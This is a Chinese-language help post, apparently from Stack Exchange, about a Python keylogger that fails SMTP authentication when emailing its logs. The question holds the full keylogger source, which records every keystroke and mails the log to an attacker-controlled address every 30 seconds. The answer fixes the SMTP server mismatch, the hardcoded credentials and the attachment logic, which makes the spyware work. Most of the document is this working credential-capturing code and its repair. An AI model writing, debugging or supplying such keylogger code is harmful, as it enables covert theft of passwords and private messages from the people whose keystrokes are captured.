开发Python键盘记录器项目遭遇SMTP认证错误求助

问题描述 #

开发Python键盘记录器时遇到SMTP认证失败错误，运行时已替换真实邮箱和应用密码，报错信息如下：

Exception in thread Thread-1: Traceback (most recent call last):
File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\threading.py", line 1038, in _bootstrap_inner
self.run() File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\threading.py", line 1394, in run
self.function(*self.args, **self.kwargs) File "C:\Users\Althaf\Desktop\keyylogger.py", line 53, in report
self.send_mail() File "C:\Users\Althaf\Desktop\keyylogger.py", line 31, in send_mail
server.login(self.email, self.password) File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\smtplib.py", line 750, in login
raise last_exception File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\smtplib.py", line 739, in login
(code, resp) = self.auth(
^^^^^^^^^^ File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\smtplib.py", line 662, in auth
raise SMTPAuthenticationError(code, resp) smtplib.SMTPAuthenticationError: (535, b'5.7.139 Authentication unsuccessful, account locked. Contact your administrator. [BM1PR01CA0158.INDPRD01.PROD.OUTLOOK.COM 2023-03-07T17:10:27.843Z 08DB1E8F8CC0635E]')

项目代码：

import keyboard
import smtplib
import threading
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication

with open('log.txt', 'w') as f:
    pass

class Keylogger:
    def __init__(self, interval, email, password):
        self.interval = interval
        self.email = 'myemail@gmail.com'
        self.password = 'myapppassword'
        self.log = ""
        self.timer = threading.Timer(interval=self.interval, function=self.report)
        self.prepare_mail()

    def prepare_mail(self):
        self.msg = MIMEMultipart()
        self.msg['From'] = self.email
        self.msg['To'] = self.email
        self.msg['Subject'] = 'Keylogger report'
        self.attachment = MIMEApplication(open('log.txt', 'rb').read(), _subtype='txt')
        self.attachment.add_header('Content-Disposition', 'attachment', filename='log.txt')
        self.msg.attach(self.attachment)

    def send_mail(self):
        with smtplib.SMTP('smtp-mail.outlook.com', 587) as server:
            server.starttls()
            server.login(self.email, self.password)
            server.sendmail(self.email, self.email, self.msg.as_string())

    def start(self):
        keyboard.on_release(callback=self.callback)
        self.timer.start()

    def callback(self, event):
        if event.name == "enter":
            self.log += "\n"
        elif event.name == "space":
            self.log += " "
        elif len(event.name) > 1:
            self.log += f"[{event.name.upper()}]"
        else:
            self.log += event.name

    def report(self):
        if self.log:
            with open('log.txt', 'a') as f:
                f.write(self.log)
            self.prepare_mail()
            self.send_mail()
        self.log = ""
        self.timer = threading.Timer(interval=self.interval, function=self.report)
        self.timer.start()

if __name__ == "__main__":
    keylogger = Keylogger(interval=30, email="myemail@gmail.com", password="myapppassword")
    keylogger.start()

解决方案 #

1. 解锁被锁定的邮箱账户 #

报错明确提示account locked，需先处理账户锁定问题：

• 登录对应邮箱账户，查看安全通知，按提示完成身份验证、密码修改等解锁操作
• 若为企业邮箱，联系管理员协助解锁

2. 修正SMTP服务器与邮箱类型不匹配问题 #

代码中使用Gmail邮箱，但连接的是Outlook的SMTP服务器，这会直接导致认证失败，需根据邮箱类型调整：

若使用Gmail：

• SMTP服务器改为smtp.gmail.com，端口保持587
• 确保已开启账户两步验证，使用应用专用密码登录（不可用普通账户密码）

修改后的send_mail方法：

def send_mail(self):
    with smtplib.SMTP('smtp.gmail.com', 587) as server:
        server.starttls()
        server.login(self.email, self.password)
        server.sendmail(self.email, self.email, self.msg.as_string())

若使用Outlook/Hotmail邮箱：

• 将邮箱地址改为Outlook格式（如xxx@outlook.com），确保使用正确的账户密码或应用密码

3. 修复硬编码参数问题 #

__init__方法中硬编码了邮箱和密码，忽略了传入的参数，导致外部传值无效。修改如下：

def __init__(self, interval, email, password):
    self.interval = interval
    self.email = email  # 使用传入的email参数
    self.password = password  # 使用传入的password参数
    self.log = ""
    self.timer = threading.Timer(interval=self.interval, function=self.report)
    self.prepare_mail()

4. 优化邮件附件逻辑 #

当前初始化时就读取空的log.txt，导致第一次发送的邮件附件为空。建议在prepare_mail中实时读取最新日志：

def prepare_mail(self):
    self.msg = MIMEMultipart()
    self.msg['From'] = self.email
    self.msg['To'] = self.email
    self.msg['Subject'] = 'Keylogger report'
    # 读取最新日志内容
    with open('log.txt', 'rb') as f:
        self.attachment = MIMEApplication(f.read(), _subtype='txt')
    self.attachment.add_header('Content-Disposition', 'attachment', filename='log.txt')
    self.msg.attach(self.attachment)

内容的提问来源于stack exchange，提问作者ALTHAF ABDUL SALAM